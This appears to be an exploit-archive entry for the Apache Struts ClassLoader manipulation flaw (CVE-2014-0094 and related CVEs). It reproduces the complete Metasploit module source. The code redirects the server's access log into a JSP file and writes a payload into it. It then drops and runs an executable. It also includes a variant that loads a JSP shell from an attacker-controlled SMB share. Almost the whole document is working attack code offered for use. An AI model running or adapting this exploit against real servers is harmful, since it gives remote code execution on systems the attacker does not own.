Apache Struts < 1.3.10 / < 2.3.16.2 ClassLoader Manipulation Remote Code Execution

2017.03.23
Credit: Matthew Hall
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # It's going to manipulate the Class Loader include Msf::Exploit::FileDropper include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SMB::Server::Share def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts versions 1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due to the ParametersInterceptor. Both allow access to 'class' parameter that is directly mapped to getClass() method and allows ClassLoader manipulation. As a result, this can allow remote attackers to execute arbitrary Java code via crafted parameters. }, 'Author' => [ 'Mark Thomas', # Vulnerability Discovery 'Przemyslaw Celej', # Vulnerability Discovery 'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module 'Matthew Hall <hallm[at]sec-1.com>' # SMB target ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-0094'], ['CVE', '2014-0112'], ['CVE', '2014-0114'], ['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'], ['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'], ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'], ['URL', 'https://github.com/rgielen/struts1filter/tree/develop'] ], 'Platform' => %w{ linux win }, 'Payload' => { 'Space' => 5000, 'DisableNops' => true }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ ['Java', { 'Arch' => ARCH_JAVA, 'Platform' => %w{ linux win } }, ], ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], ['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], ['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)', { 'Arch' => ARCH_JAVA, 'Platform' => 'win' } ] ], 'DisclosureDate' => 'Mar 06 2014', 'DefaultTarget' => 1)) register_options( [ Opt::RPORT(8080), OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]), OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]), OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]) ], self.class) deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS') end def jsp_dropper(file, exe) dropper = <<-eos <%@ page import=\"java.io.FileOutputStream\" %> <%@ page import=\"sun.misc.BASE64Decoder\" %> <%@ page import=\"java.io.File\" %> <% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %> <% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %> <% oFile.flush(); %> <% oFile.close(); %> <% File f = new File(\"#{file}\"); %> <% f.setExecutable(true); %> <% Runtime.getRuntime().exec(\"./#{file}\"); %> eos dropper end def dump_line(uri, cmd = '') res = send_request_cgi({ 'uri' => uri, 'encode_params' => false, 'vars_get' => { cmd => '' }, 'version' => '1.1', 'method' => 'GET' }) res end def modify_class_loader(opts) cl_prefix = case datastore['STRUTS_VERSION'] when '1.x' then "class.classLoader" when '2.x' then "class['classLoader']" end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s), 'version' => '1.1', 'method' => 'GET', 'vars_get' => { "#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory], "#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix], "#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix], "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format] } }) res end def check_log_file(hint) uri = normalize_uri("/", @jsp_file) print_status("Waiting for the server to flush the logfile") 10.times do |x| select(nil, nil, nil, 2) # Now make a request to trigger payload vprint_status("Countdown #{10-x}...") res = dump_line(uri) # Failure. The request timed out or the server went away. fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil? # Success if the server has flushed all the sent commands to the jsp file if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/ print_good("Log file flushed at http://#{peer}/#{@jsp_file}") return true end end false end # Fix the JSP payload to make it valid once is dropped # to the log file def fix(jsp) output = "" jsp.each_line do |l| if l =~ /<%.*%>/ output << l elsif l =~ /<%/ next elsif l=~ /%>/ next elsif l.chomp.empty? next else output << "<% #{l.chomp} %>" end end output end def create_jsp if target['Arch'] == ARCH_JAVA jsp = fix(payload.encoded) else if target['Platform'] == 'win' payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform}) else payload_exe = generate_payload_exe end payload_file = rand_text_alphanumeric(4 + rand(4)) jsp = jsp_dropper(payload_file, payload_exe) register_files_for_cleanup(payload_file) end jsp end def exploit if target.name =~ /Remote SMB Resource/ begin Timeout.timeout(datastore['SMB_DELAY']) { super } rescue Timeout::Error # do nothing... just finish exploit and stop smb server... end else class_loader_exploit end end # Used with SMB targets def primer self.file_name << '.jsp' self.file_contents = payload.encoded print_status("JSP payload available on #{unc}...") print_status("Modifying Class Loader...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s), 'version' => '1.1', 'method' => 'GET', 'vars_get' => { 'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}" } }) jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/') jsp_shell << "/#{self.file_name}" print_status("Accessing JSP shell at #{jsp_shell}...") send_request_cgi({ 'uri' => normalize_uri(jsp_shell), 'version' => '1.1', 'method' => 'GET', }) end def class_loader_exploit prefix_jsp = rand_text_alphanumeric(3+rand(3)) date_format = rand_text_numeric(1+rand(4)) @jsp_file = prefix_jsp + date_format + ".jsp" # Modify the Class Loader print_status("Modifying Class Loader...") properties = { :directory => 'webapps/ROOT', :prefix => prefix_jsp, :suffix => '.jsp', :file_date_format => date_format } res = modify_class_loader(properties) unless res fail_with(Failure::TimeoutExpired, "#{peer} - No answer") end # Check if the log file exists and has been flushed unless check_log_file(normalize_uri(target_uri.to_s)) fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") end register_files_for_cleanup(@jsp_file) # Prepare the JSP print_status("Generating JSP...") jsp = create_jsp # Dump the JSP to the log file print_status("Dumping JSP into the logfile...") random_request = rand_text_alphanumeric(3 + rand(3)) uri = normalize_uri('/', random_request) jsp.each_line do |l| unless dump_line(uri, l.chomp) fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...") end end # Check log file... enjoy shell! check_log_file(random_request) # No matter what happened, try to 'restore' the Class Loader properties = { :directory => '', :prefix => '', :suffix => '', :file_date_format => '' } modify_class_loader(properties) end end


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